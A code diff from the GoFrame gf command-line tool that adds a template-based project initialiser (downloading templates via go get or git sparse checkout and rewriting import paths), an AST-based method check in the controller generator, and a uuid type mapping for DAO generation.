 			"{MethodComment}": api.GetComment(),
 		}))
+
+		ctrlFilePath := gfile.Join(dstModuleFolderPath, fmt.Sprintf(
+			`%s_%s_%s.go`, ctrlFileItem.module, ctrlFileItem.version, api.FileName,
+		))
+		// Use AST-based checking for more accurate method detection
+		if methodExists(ctrlFilePath, ctrlName, api.MethodName) {
+			return
+		}
+
 		ctrlFileItem.controllers.WriteString(ctrl)
 		doneApiSet.Add(api.String())
 	}
@@ -229,3 +241,41 @@ func (c *controllerGenerator) doGenerateCtrlMergeItem(dstModuleFolderPath string
 	}
 	return
 }
+
+// methodExists checks if a method with the given receiver type and name exists in the file.
+// It uses AST parsing to accurately detect method definitions regardless of formatting.
+// This handles various code formatting styles including multi-line method signatures.
+func methodExists(filePath, ctrlName, methodName string) bool {
+	fset := token.NewFileSet()
+	node, err := parser.ParseFile(fset, filePath, nil, parser.ParseComments)
+	if err != nil {
+		// If parsing fails (e.g., file doesn't exist or invalid syntax), return false
+		return false
+	}
+	for _, decl := range node.Decls {
+		funcDecl, ok := decl.(*ast.FuncDecl)
+		if !ok {
+			continue
+		}
+		// Check if it's a method (has receiver)
+		if funcDecl.Recv != nil && len(funcDecl.Recv.List) > 0 {
+			// Extract receiver type name
+			// Handle both *T and T patterns
+			recvType := ""
+			switch t := funcDecl.Recv.List[0].Type.(type) {
+			case *ast.StarExpr:
+				if ident, ok := t.X.(*ast.Ident); ok {
+					recvType = ident.Name
+				}
+			case *ast.Ident:
+				recvType = t.Name
+			}
+
+			// Check if both receiver type and method name match
+			if recvType == ctrlName && funcDecl.Name.Name == methodName {
+				return true
+			}
+		}
+	}
+	return false
+}

cmd/gf/internal/cmd/gendao/gendao.go

@@ -104,6 +104,10 @@ var (
 		"smallmoney": {
 			Type: "float64",
 		},
+		"uuid": {
+			Type:   "uuid.UUID",
+			Import: "github.com/google/uuid",
+		},
 	}
 
 	// tablewriter Options

cmd/gf/internal/cmd/gendao/gendao_structure.go

@@ -98,7 +98,6 @@ func generateStructFieldDefinition(
 		err              error
 		localTypeName    gdb.LocalType
 		localTypeNameStr string
-		jsonTag          = gstr.CaseConvert(field.Name, gstr.CaseTypeMatch(in.JsonCase))
 	)
 
 	if in.TypeMapping != nil && len(in.TypeMapping) > 0 {
@@ -156,6 +155,8 @@ func generateStructFieldDefinition(
 		"    #" + formatFieldName(newFiledName, FieldNameCaseCamel),
 		" #" + localTypeNameStr,
 	}
+
+	jsonTag := gstr.CaseConvert(newFiledName, gstr.CaseTypeMatch(in.JsonCase))
 	attrLines = append(attrLines, fmt.Sprintf(` #%sjson:"%s"`, tagKey, jsonTag))
 	// orm tag
 	if !in.IsDo {

cmd/gf/internal/cmd/geninit/geninit.go

@@ -0,0 +1,269 @@
+// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package geninit
+
+import (
+	"context"
+	"path/filepath"
+
+	"github.com/gogf/gf/v2/os/gfile"
+	"github.com/gogf/gf/v2/text/gstr"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
+)
+
+// ProcessOptions contains options for the Process function
+type ProcessOptions struct {
+	SelectVersion bool   // Enable interactive version selection
+	ModulePath    string // Custom go.mod module path (e.g., github.com/xxx/xxx)
+	UpgradeDeps   bool   // Upgrade dependencies to latest (go get -u ./...)
+}
+
+// Process handles the template generation flow from remote repository
+func Process(ctx context.Context, repo, name string, opts *ProcessOptions) error {
+	if opts == nil {
+		opts = &ProcessOptions{}
+	}
+
+	// 0. Check Go environment first
+	mlog.Print("Checking Go environment...")
+	goEnv, err := CheckGoEnv(ctx)
+	if err != nil {
+		mlog.Printf("Go environment check failed: %v", err)
+		return err
+	}
+	mlog.Printf("Go environment OK (version: %s)", goEnv.GOVERSION)
+
+	// Check if this is a git subdirectory URL
+	if IsSubdirRepo(repo) {
+		return processGitSubdir(ctx, repo, name, opts)
+	}
+
+	// Try Go module download first, fallback to git subdirectory if it fails
+	// This handles edge cases where the heuristic may be incorrect
+	err = processGoModule(ctx, repo, name, opts)
+	if err != nil {
+		mlog.Printf("Go module download failed, trying git subdirectory mode: %v", err)
+		mlog.Print("Note: If this is a git subdirectory, you can force git mode by using a full git URL")
+
+		// If Go module download fails, try git subdirectory as fallback
+		// This handles cases where the heuristic incorrectly classified a git subdir as Go module
+		if IsSubdirRepo(repo) {
+			mlog.Print("Falling back to git subdirectory download...")
+			return processGitSubdir(ctx, repo, name, opts)
+		}
+	}
+
+	return err
+}
+
+// processGoModule handles standard Go module download via go get
+func processGoModule(ctx context.Context, repo, name string, opts *ProcessOptions) error {
+	// Extract module path (without version)
+	modulePath := repo
+	specifiedVersion := ""
+	if gstr.Contains(repo, "@") {
+		parts := gstr.Split(repo, "@")
+		modulePath = parts[0]
+		specifiedVersion = parts[1]
+	}
+
+	// Default name to repo basename if empty
+	if name == "" {
+		name = filepath.Base(modulePath)
+	}
+
+	// Determine the target module path for go.mod
+	targetModulePath := name
+	if opts.ModulePath != "" {
+		targetModulePath = opts.ModulePath
+	}
+
+	// 1. Determine version to use
+	var targetVersion string
+	if specifiedVersion != "" {
+		// User specified version, try to use it first
+		targetVersion = specifiedVersion
+		mlog.Printf("Using specified version: %s", targetVersion)
+	} else if opts.SelectVersion {
+		// Interactive version selection
+		mlog.Print("Fetching available versions...")
+		versionInfo, err := GetModuleVersions(ctx, modulePath)
+		if err != nil {
+			mlog.Printf("Failed to get versions: %v", err)
+			return err
+		}
+
+		targetVersion, err = SelectVersion(ctx, versionInfo.Versions, modulePath)
+		if err != nil {
+			mlog.Printf("Version selection failed: %v", err)
+			return err
+		}
+	} else {
+		// Default: use latest version
+		mlog.Print("Fetching latest version...")
+		latest, err := GetLatestVersion(ctx, modulePath)
+		if err != nil {
+			mlog.Printf("Failed to get latest version, will try @latest tag: %v", err)
+			targetVersion = "latest"
+		} else {
+			targetVersion = latest
+			mlog.Printf("Latest version: %s", targetVersion)
+		}
+	}
+
+	// 2. Download Template with determined version
+	repoWithVersion := modulePath + "@" + targetVersion
+	srcDir, err := downloadTemplate(ctx, repoWithVersion)
+	if err != nil {
+		// If specified version download failed, offer to select from available versions
+		if specifiedVersion != "" {
+			mlog.Printf("Failed to download specified version '%s': %v", specifiedVersion, err)
+			mlog.Print("Fetching available versions...")
+
+			versionInfo, verErr := GetModuleVersions(ctx, modulePath)
+			if verErr != nil {
+				mlog.Printf("Failed to get available versions: %v", verErr)
+				return err // Return original download error
+			}
+
+			if len(versionInfo.Versions) == 0 {
+				mlog.Print("No versions available for this module")
+				return err
+			}
+
+			// Let user select from available versions
+			selectedVersion, selErr := SelectVersion(ctx, versionInfo.Versions, modulePath)
+			if selErr != nil {
+				mlog.Printf("Version selection failed: %v", selErr)
+				return selErr
+			}
+
+			// Retry download with selected version
+			targetVersion = selectedVersion
+			repoWithVersion = modulePath + "@" + targetVersion
+			srcDir, err = downloadTemplate(ctx, repoWithVersion)
+			if err != nil {
+				mlog.Printf("Download failed: %v", err)
+				return err
+			}
+		} else {
+			mlog.Printf("Download failed: %v", err)
+			return err
+		}
+	}
+
+	mlog.Debugf("Template located at: %s", srcDir)
+
+	// 3. Generate Project
+	if err := generateProject(ctx, srcDir, name, modulePath, targetModulePath); err != nil {
+		mlog.Printf("Generation failed: %v", err)
+		return err
+	}
+
+	// 4. Handle dependencies
+	var projectDir string
+	if name == "." {
+		projectDir = gfile.Pwd()
+	} else {
+		projectDir = filepath.Join(gfile.Pwd(), name)
+	}
+	if opts.UpgradeDeps {
+		// Upgrade all dependencies to latest
+		if err := upgradeDependencies(ctx, projectDir); err != nil {
+			mlog.Printf("Failed to upgrade dependencies: %v", err)
+		}
+	} else {
+		// Default: just tidy dependencies
+		if err := tidyDependencies(ctx, projectDir); err != nil {
+			mlog.Printf("Failed to tidy dependencies: %v", err)
+		}
+	}
+
+	return nil
+}
+
+// processGitSubdir handles git subdirectory download via sparse checkout
+func processGitSubdir(ctx context.Context, repo, name string, opts *ProcessOptions) error {
+	mlog.Print("Detected subdirectory URL, using git sparse checkout...")
+
+	// Check if git is available
+	gitVersion, err := CheckGitEnv(ctx)
+	if err != nil {
+		mlog.Printf("Git is required for subdirectory templates: %v", err)
+		return err
+	}
+	mlog.Printf("Git available (%s)", gitVersion)
+
+	// Download via git sparse checkout
+	srcDir, gitInfo, err := downloadGitSubdir(ctx, repo)
+	if err != nil {
+		mlog.Printf("Git download failed: %v", err)
+		return err
+	}
+
+	// Clean up temp directory after generation
+	// The temp dir is parent of parent of srcDir (tempDir/repo/subpath)
+	tempDir := filepath.Dir(filepath.Dir(srcDir))
+	if tempDir != "" && gfile.Exists(tempDir) && gstr.Contains(tempDir, "gf-init-git") {
+		defer func() {
+			if err := gfile.Remove(tempDir); err != nil {
+				mlog.Debugf("Failed to remove temp directory %s: %v", tempDir, err)
+			} else {
+				mlog.Debugf("Cleaned up temp directory: %s", tempDir)
+			}
+		}()
+	}
+
+	// Default name to subpath basename if empty
+	if name == "" {
+		name = filepath.Base(gitInfo.SubPath)
+	}
+
+	// Get original module name from go.mod (might be "main" or something else)
+	oldModule := GetModuleNameFromGoMod(srcDir)
+	if oldModule == "" {
+		// Fallback: construct from git info
+		oldModule = gitInfo.Host + "/" + gitInfo.Owner + "/" + gitInfo.Repo + "/" + gitInfo.SubPath
+	}
+
+	// Determine the target module path for go.mod
+	targetModulePath := name
+	if opts.ModulePath != "" {
+		targetModulePath = opts.ModulePath
+	}
+
+	mlog.Debugf("Template located at: %s", srcDir)
+	mlog.Debugf("Original module: %s", oldModule)
+
+	// Generate Project
+	if err := generateProject(ctx, srcDir, name, oldModule, targetModulePath); err != nil {
+		mlog.Printf("Generation failed: %v", err)
+		return err
+	}
+
+	// Handle dependencies
+	var projectDir string
+	if name == "." {
+		projectDir = gfile.Pwd()
+	} else {
+		projectDir = filepath.Join(gfile.Pwd(), name)
+	}
+	if opts.UpgradeDeps {
+		// Upgrade all dependencies to latest
+		if err := upgradeDependencies(ctx, projectDir); err != nil {
+			mlog.Printf("Failed to upgrade dependencies: %v", err)
+		}
+	} else {
+		// Default: just tidy dependencies
+		if err := tidyDependencies(ctx, projectDir); err != nil {
+			mlog.Printf("Failed to tidy dependencies: %v", err)
+		}
+	}
+
+	return nil
+}

cmd/gf/internal/cmd/geninit/geninit_ast.go

@@ -0,0 +1,125 @@
+// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package geninit
+
+import (
+	"bytes"
+	"context"
+	"go/ast"
+	"go/parser"
+	"go/printer"
+	"go/token"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/gogf/gf/v2/os/gfile"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
+)
+
+// ASTReplacer handles import path replacement using Go AST
+type ASTReplacer struct {
+	oldModule string
+	newModule string
+	fset      *token.FileSet
+}
+
+// NewASTReplacer creates a new AST-based import replacer
+func NewASTReplacer(oldModule, newModule string) *ASTReplacer {
+	return &ASTReplacer{
+		oldModule: oldModule,
+		newModule: newModule,
+		fset:      token.NewFileSet(),
+	}
+}
+
+// ReplaceInFile replaces import paths in a single Go file
+func (r *ASTReplacer) ReplaceInFile(ctx context.Context, filePath string) error {
+	// Read file content
+	content := gfile.GetContents(filePath)
+	if content == "" {
+		return nil
+	}
+
+	// Parse the file
+	file, err := parser.ParseFile(r.fset, filePath, content, parser.ParseComments)
+	if err != nil {
+		mlog.Debugf("Failed to parse %s: %v", filePath, err)
+		return nil // Skip files that can't be parsed
+	}
+
+	// Track if any changes were made
+	changed := false
+
+	// Traverse and modify imports
+	ast.Inspect(file, func(n ast.Node) bool {
+		switch x := n.(type) {
+		case *ast.ImportSpec:
+			if x.Path != nil {
+				importPath := strings.Trim(x.Path.Value, `"`)
+				if strings.HasPrefix(importPath, r.oldModule) {
+					// Replace only the leading module prefix for clarity and correctness.
+					newPath := r.newModule + strings.TrimPrefix(importPath, r.oldModule)
+					x.Path.Value = `"` + newPath + `"`
+					changed = true
+					mlog.Debugf("Replaced import: %s -> %s in %s", importPath, newPath, filePath)
+				}
+			}
+		}
+		return true
+	})
+
+	if !changed {
+		return nil
+	}
+
+	// Write back to file without formatting.
+	// Formatting will be handled by formatGoFiles after all replacements are done.
+	var buf bytes.Buffer
+	if err := printer.Fprint(&buf, r.fset, file); err != nil {
+		return err
+	}
+
+	return gfile.PutContents(filePath, buf.String())
+}
+
+// ReplaceInDir replaces import paths in all Go files in a directory (recursively)
+func (r *ASTReplacer) ReplaceInDir(ctx context.Context, dir string) error {
+	mlog.Printf("Replacing imports: %s -> %s", r.oldModule, r.newModule)
+
+	// Find all .go files
+	files, err := findGoFiles(dir)
+	if err != nil {
+		return err
+	}
+
+	for _, file := range files {
+		if err := r.ReplaceInFile(ctx, file); err != nil {
+			mlog.Printf("Failed to process %s: %v", file, err)
+		}
+	}
+
+	return nil
+}
+
+// findGoFiles recursively finds all .go files in a directory
+func findGoFiles(dir string) ([]string, error) {
+	var files []string
+
+	err := filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
+		if err != nil {
+			return err
+		}
+		if !info.IsDir() && strings.HasSuffix(path, ".go") {
+			files = append(files, path)
+		}
+		return nil
+	})
+
+	return files, err
+}

cmd/gf/internal/cmd/geninit/geninit_downloader.go

@@ -0,0 +1,111 @@
+// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package geninit
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"os"
+	"os/exec"
+	"strings"
+
+	"github.com/gogf/gf/v2/os/gfile"
+	"github.com/gogf/gf/v2/text/gstr"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
+)
+
+// downloadTemplate fetches the remote repository using go get
+func downloadTemplate(ctx context.Context, repo string) (string, error) {
+	// 1. Create a temporary directory workspace
+	tempDir := gfile.Temp("gf-init-cli")
+	if tempDir == "" {
+		return "", fmt.Errorf("failed to create temporary directory")
+	}
+	if err := gfile.Mkdir(tempDir); err != nil {
+		return "", err
+	}
+	defer func() {
+		if err := gfile.Remove(tempDir); err != nil {
+			mlog.Debugf("Failed to remove temp directory %s: %v", tempDir, err)
+		}
+	}() // Clean up the temp workspace
+
+	mlog.Debugf("Using temp workspace: %s", tempDir)
+
+	// 2. Initialize a temp go module to perform go get
+	// We run commands inside the temp directory
+	if err := runCmd(ctx, tempDir, "go", "mod", "init", "temp"); err != nil {
+		return "", err
+	}
+
+	// 3. Run go get <repo>
+	// Try different version strategies: original -> @latest -> @master
+	moduleName := repo
+	if gstr.Contains(repo, "@") {
+		moduleName = gstr.Split(repo, "@")[0]
+	}
+
+	var downloadErrs []string
+	versionsToTry := []string{repo}
+	if !gstr.Contains(repo, "@") {
+		versionsToTry = append(versionsToTry, repo+"@latest", repo+"@master")
+	}
+
+	var successRepo string
+	for _, tryRepo := range versionsToTry {
+		mlog.Printf("Downloading template %s...", tryRepo)
+		if err := runCmd(ctx, tempDir, "go", "get", tryRepo); err == nil {
+			successRepo = tryRepo
+			break
+		} else {
+			downloadErrs = append(downloadErrs, fmt.Sprintf("%s: %v", tryRepo, err))
+			mlog.Debugf("Failed to download %s, trying next...", tryRepo)
+		}
+	}
+
+	if successRepo == "" {
+		errMsg := "all download attempts failed"
+		if len(downloadErrs) > 0 {
+			errMsg = strings.Join(downloadErrs, "; ")
+		}
+		return "", fmt.Errorf("failed to download repo %s: %s", repo, errMsg)
+	}
+
+	// 4. Find the local path using go list -m -json <repo>
+	listCmd := exec.CommandContext(ctx, "go", "list", "-m", "-json", moduleName)
+	listCmd.Dir = tempDir
+	output, err := listCmd.Output()
+	if err != nil {
+		if exitErr, ok := err.(*exec.ExitError); ok {
+			return "", fmt.Errorf("go list failed: %s", string(exitErr.Stderr))
+		}
+		return "", fmt.Errorf("failed to locate module path: %w", err)
+	}
+
+	var modInfo struct {
+		Dir string `json:"Dir"`
+	}
+	if err := json.Unmarshal(output, &modInfo); err != nil {
+		return "", fmt.Errorf("failed to parse go list output: %w", err)
+	}
+
+	if modInfo.Dir == "" {
+		return "", fmt.Errorf("module directory not found for %s", repo)
+	}
+
+	return modInfo.Dir, nil
+}
+
+func runCmd(ctx context.Context, dir string, name string, args ...string) error {
+	cmd := exec.CommandContext(ctx, name, args...)
+	cmd.Dir = dir
+	cmd.Stdout = os.Stdout
+	cmd.Stderr = os.Stderr
+	return cmd.Run()
+}

cmd/gf/internal/cmd/geninit/geninit_env.go

@@ -0,0 +1,90 @@
+// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package geninit
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"os/exec"
+	"strings"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
+)
+
+// GoEnv represents Go environment variables
+type GoEnv struct {
+	GOVERSION   string `json:"GOVERSION"`
+	GOROOT      string `json:"GOROOT"`
+	GOPATH      string `json:"GOPATH"`
+	GOMODCACHE  string `json:"GOMODCACHE"`
+	GOPROXY     string `json:"GOPROXY"`
+	GO111MODULE string `json:"GO111MODULE"`
+}
+
+// CheckGoEnv verifies Go is installed and properly configured
+func CheckGoEnv(ctx context.Context) (*GoEnv, error) {
+	// 1. Check if go binary exists
+	goPath, err := exec.LookPath("go")
+	if err != nil {
+		return nil, fmt.Errorf("go is not installed or not in PATH: %w", err)
+	}
+	mlog.Debugf("Found go binary at: %s", goPath)
+
+	// 2. Get go env as JSON
+	cmd := exec.CommandContext(ctx, "go", "env", "-json")
+	output, err := cmd.Output()
+	if err != nil {
+		if exitErr, ok := err.(*exec.ExitError); ok {
+			return nil, fmt.Errorf("go env failed: %s", string(exitErr.Stderr))
+		}
+		return nil, fmt.Errorf("failed to run go env: %w", err)
+	}
+
+	// 3. Parse JSON output
+	var env GoEnv
+	if err := json.Unmarshal(output, &env); err != nil {
+		return nil, fmt.Errorf("failed to parse go env output: %w", err)
+	}
+
+	// 4. Validate critical environment variables
+	if env.GOROOT == "" {
+		return nil, fmt.Errorf("GOROOT is not set")
+	}
+	if env.GOMODCACHE == "" && env.GOPATH == "" {
+		return nil, fmt.Errorf("neither GOMODCACHE nor GOPATH is set")
+	}
+
+	mlog.Debugf("Go Version: %s", env.GOVERSION)
+	mlog.Debugf("GOROOT: %s", env.GOROOT)
+	mlog.Debugf("GOMODCACHE: %s", env.GOMODCACHE)
+	mlog.Debugf("GOPROXY: %s", env.GOPROXY)
+
+	return &env, nil
+}
+
+// CheckGitEnv verifies Git is installed and returns its version
+func CheckGitEnv(ctx context.Context) (string, error) {
+	// 1. Check if git binary exists
+	gitPath, err := exec.LookPath("git")
+	if err != nil {
+		return "", fmt.Errorf("git is not installed or not in PATH: %w", err)
+	}
+	mlog.Debugf("Found git binary at: %s", gitPath)
+
+	// 2. Get git version
+	cmd := exec.CommandContext(ctx, "git", "--version")
+	output, err := cmd.Output()
+	if err != nil {
+		return "", fmt.Errorf("failed to get git version: %w", err)
+	}
+
+	version := strings.TrimSpace(string(output))
+	mlog.Debugf("Git version: %s", version)
+
+	return version, nil
+}

cmd/gf/internal/cmd/geninit/geninit_generator.go

@@ -0,0 +1,146 @@
+// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package geninit
+
+import (
+	"context"
+	"fmt"
+	"go/format"
+	"path/filepath"
+
+	"github.com/gogf/gf/v2/os/gfile"
+	"github.com/gogf/gf/v2/text/gstr"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
+)
+
+// generateProject copies the template to the destination and performs cleanup
+// oldModule: original module path from template
+// newModule: target module path for go.mod (can be different from project name)
+func generateProject(ctx context.Context, srcPath, name, oldModule, newModule string) error {
+	pwd := gfile.Pwd()
+
+	dstPath := filepath.Join(pwd, name)
+	if name == "." {
+		dstPath = pwd
+	}
+
+	if gfile.Exists(dstPath) && !gfile.IsEmpty(dstPath) {
+		return fmt.Errorf("target directory %s is not empty", dstPath)
+	}
+
+	mlog.Printf("Generating project in %s...", dstPath)
+
+	// 1. Copy files
+	if err := gfile.Copy(srcPath, dstPath); err != nil {
+		return err
+	}
+
+	// 2. Clean up .git directory
+	gitDir := filepath.Join(dstPath, ".git")
+	if gfile.Exists(gitDir) {
+		if err := gfile.Remove(gitDir); err != nil {
+			mlog.Debugf("Failed to remove .git directory: %v", err)
+		}
+	}
+
+	// 3. Clean up go.work and go.work.sum (workspace files should not be in generated project)
+	for _, workFile := range []string{"go.work", "go.work.sum"} {
+		workPath := filepath.Join(dstPath, workFile)
+		if gfile.Exists(workPath) {
+			if err := gfile.Remove(workPath); err != nil {
+				mlog.Printf("Failed to remove %s: %v", workFile, err)
+			} else {
+				mlog.Debugf("Removed %s", workFile)
+			}
+		}
+	}
+
+	// 4. Update go.mod module name
+	goModPath := filepath.Join(dstPath, "go.mod")
+	if gfile.Exists(goModPath) {
+		content := gfile.GetContents(goModPath)
+		lines := gstr.Split(content, "\n")
+		if len(lines) > 0 && gstr.HasPrefix(lines[0], "module ") {
+			lines[0] = "module " + newModule
+			newContent := gstr.Join(lines, "\n")
+			if err := gfile.PutContents(goModPath, newContent); err != nil {
+				mlog.Printf("Failed to update go.mod: %v", err)
+			}
+		}
+	}
+
+	// 5. Use AST to replace import paths in all Go files
+	if oldModule != "" && oldModule != newModule {
+		replacer := NewASTReplacer(oldModule, newModule)
+		if err := replacer.ReplaceInDir(ctx, dstPath); err != nil {
+			return fmt.Errorf("failed to replace imports: %w", err)
+		}
+	}
+
+	// 6. Format the generated Go files using go/format (not imports.Process)
+	// Note: We use formatGoFiles instead of utils.GoFmt because imports.Process
+	// may incorrectly "fix" local import paths by replacing them with cached module paths.
+	formatGoFiles(dstPath)
+
+	mlog.Print("Project generated successfully!")
+	return nil
+}
+
+// tidyDependencies runs go mod tidy in the project directory
+func tidyDependencies(ctx context.Context, projectDir string) error {
+	mlog.Print("Tidying dependencies (go mod tidy)...")
+	if err := runCmd(ctx, projectDir, "go", "mod", "tidy"); err != nil {
+		return fmt.Errorf("go mod tidy failed: %w", err)
+	}
+	mlog.Print("Dependencies tidied successfully!")
+	return nil
+}
+
+// upgradeDependencies runs go get -u ./... to upgrade all dependencies to latest
+func upgradeDependencies(ctx context.Context, projectDir string) error {
+	mlog.Print("Upgrading dependencies to latest (go get -u ./...)...")
+	if err := runCmd(ctx, projectDir, "go", "get", "-u", "./..."); err != nil {
+		return fmt.Errorf("go get -u failed: %w", err)
+	}
+	// Run tidy again after upgrade
+	if err := runCmd(ctx, projectDir, "go", "mod", "tidy"); err != nil {
+		return fmt.Errorf("go mod tidy after upgrade failed: %w", err)
+	}
+	mlog.Print("Dependencies upgraded successfully!")
+	return nil
+}
+
+// formatGoFiles formats all Go files in the directory using go/format.
+// Unlike imports.Process, this only formats code without modifying imports,
+// which prevents incorrect "fixing" of local import paths.
+func formatGoFiles(dir string) {
+	files, err := findGoFiles(dir)
+	if err != nil {
+		mlog.Printf("Failed to find Go files for formatting: %v", err)
+		return
+	}
+
+	for _, file := range files {
+		content := gfile.GetContents(file)
+		if content == "" {
+			continue
+		}
+
+		formatted, err := format.Source([]byte(content))
+		if err != nil {
+			mlog.Debugf("Failed to format %s: %v", file, err)
+			continue
+		}
+
+		if string(formatted) != content {
+			if err := gfile.PutContents(file, string(formatted)); err != nil {
+				mlog.Debugf("Failed to write formatted file %s: %v", file, err)
+			}
+		}
+	}
+}

cmd/gf/internal/cmd/geninit/geninit_git_downloader.go

@@ -0,0 +1,241 @@
+// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
+//
+// This Source Code Form is subject to the terms of the MIT License.
+// If a copy of the MIT was not distributed with this file,
+// You can obtain one at https://github.com/gogf/gf.
+
+package geninit
+
+import (
+	"context"
+	"fmt"
+	"path/filepath"
+	"strings"
+
+	"github.com/gogf/gf/v2/os/gfile"
+	"github.com/gogf/gf/v2/text/gstr"
+
+	"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
+)
+
+// GitRepoInfo holds parsed git repository information
+type GitRepoInfo struct {
+	Host     string // e.g., github.com
+	Owner    string // e.g., gogf
+	Repo     string // e.g., examples
+	Branch   string // e.g., main (default: main)
+	SubPath  string // e.g., httpserver/jwt
+	CloneURL string // e.g., https://github.com/gogf/examples.git
+}
+
+// ParseGitURL parses a git URL and extracts repository info
+// Supports formats:
+//   - github.com/owner/repo
+//   - github.com/owner/repo/subdir/path
+//   - github.com/owner/repo/tree/branch/subdir/path (from GitHub web URL)
+func ParseGitURL(url string) (*GitRepoInfo, error) {
+	// Remove protocol prefix if present
+	url = strings.TrimPrefix(url, "https://")
+	url = strings.TrimPrefix(url, "http://")
+	url = strings.TrimSuffix(url, ".git")
+
+	// Remove version suffix like @v1.0.0
+	if idx := strings.Index(url, "@"); idx != -1 {
+		url = url[:idx]
+	}
+
+	parts := strings.Split(url, "/")
+	if len(parts) < 3 {
+		return nil, fmt.Errorf("invalid git URL: %s", url)
+	}
+
+	info := &GitRepoInfo{
+		Host:   parts[0],
+		Owner:  parts[1],
+		Repo:   parts[2],
+		Branch: "main", // default branch
+	}
+
+	// Check for /tree/branch/ pattern (GitHub web URL)
+	if len(parts) > 4 && parts[3] == "tree" {
+		info.Branch = parts[4]
+		if len(parts) > 5 {
+			info.SubPath = strings.Join(parts[5:], "/")
+		}
+	} else if len(parts) > 3 {
+		// Direct subpath: github.com/owner/repo/subdir/path
+		info.SubPath = strings.Join(parts[3:], "/")
+	}
+
+	info.CloneURL = fmt.Sprintf("https://%s/%s/%s.git", info.Host, info.Owner, info.Repo)
+
+	return info, nil
+}
+
+// IsSubdirRepo checks if the URL points to a subdirectory of a repository
+// Returns false for Go module paths (which may have /vN suffix or nested module paths)
+// Note: This uses heuristics that may have false positives/negatives in edge cases
+func IsSubdirRepo(url string) bool {
+	info, err := ParseGitURL(url)
+	if err != nil {
+		return false
+	}
+	if info.SubPath == "" {
+		return false
+	}
+
+	// Check if this looks like a Go module path rather than a git subdirectory
+	// Go modules can have nested paths like github.com/owner/repo/cmd/tool/v2
+	// We should try to resolve it as a Go module first
+
+	// If the URL can be resolved as a Go module, it's not a subdir repo
+	// We use a heuristic: check if the full path looks like a valid Go module
+	// by checking if it ends with /vN (major version) or contains common module patterns
+
+	// Remove version suffix for checking
+	cleanURL := url
+	if before, _, ok := strings.Cut(url, "@"); ok {
+		cleanURL = before
+	}
+
+	// Check if the path ends with /vN (Go module major version)
+	parts := strings.Split(cleanURL, "/")
+	if len(parts) > 0 {
+		lastPart := parts[len(parts)-1]
+		if len(lastPart) >= 2 && lastPart[0] == 'v' {
+			// Check if it's v2, v3, etc.
+			if _, err := fmt.Sscanf(lastPart, "v%d", new(int)); err == nil {
+				// This looks like a Go module with major version suffix
+				// It could be either a versioned module or a subdir ending in vN
+				// We'll treat it as a Go module and let go get handle it
+				mlog.Debugf("URL %s detected as Go module (ends with /vN)", url)
+				return false
+			}
+		}
+	}
+
+	// For GitHub URLs, check if the subpath could be a nested Go module
+	// Common patterns: cmd/*, internal/*, pkg/*, contrib/*
+	subPathParts := strings.Split(info.SubPath, "/")
+	if len(subPathParts) > 0 {
+		firstPart := subPathParts[0]
+		// These are common Go module nesting patterns
+		if firstPart == "cmd" || firstPart == "contrib" || firstPart == "tools" {
+			// This might be a nested Go module, not a simple subdirectory
+			// Let go get try first
+			mlog.Debugf("URL %s detected as Go module (starts with common pattern)", url)
+			return false
+		}
+	}
+
+	mlog.Debugf("URL %s detected as git subdirectory", url)
+	return true
+}
+
+// downloadGitSubdir downloads a subdirectory from a git repository using sparse checkout
+func downloadGitSubdir(ctx context.Context, repoURL string) (string, *GitRepoInfo, error) {
+	info, err := ParseGitURL(repoURL)
+	if err != nil {
+		return "", nil, err
+	}
+
+	if info.SubPath == "" {
+		return "", nil, fmt.Errorf("not a subdirectory URL: %s", repoURL)
+	}
+
+	// Create temp directory for clone
+	tempDir := gfile.Temp("gf-init-git")
+	if tempDir == "" {
+		return "", nil, fmt.Errorf("failed to create temporary directory")
+	}
+	if err := gfile.Mkdir(tempDir); err != nil {
+		return "", nil, err
+	}
+
+	cloneDir := filepath.Join(tempDir, info.Repo)
+	mlog.Debugf("Using git temp workspace: %s", tempDir)
+	mlog.Printf("Cloning %s (sparse checkout: %s)...", info.CloneURL, info.SubPath)
+
+	// 1. Clone with no checkout, filter, and sparse
+	if err := runCmd(ctx, tempDir, "git", "clone", "--filter=blob:none", "--no-checkout", "--sparse", info.CloneURL); err != nil {
+		// Fallback: try without filter for older git versions
+		mlog.Debugf("Sparse clone failed, trying full clone...")
+		if err := gfile.Remove(cloneDir); err != nil {
+			mlog.Debugf("Failed to remove clone directory: %v", err)
+		}
+		if err := runCmd(ctx, tempDir, "git", "clone", "--no-checkout", info.CloneURL); err != nil {
+			if err := gfile.Remove(tempDir); err != nil {
+				mlog.Debugf("Failed to remove temp directory: %v", err)
+			}
+			return "", nil, fmt.Errorf("git clone failed: %w", err)
+		}
+	}
+
+	// 2. Set sparse-checkout to the subpath
+	if err := runCmd(ctx, cloneDir, "git", "sparse-checkout", "set", info.SubPath); err != nil {
+		// Fallback for older git: use sparse-checkout init + set
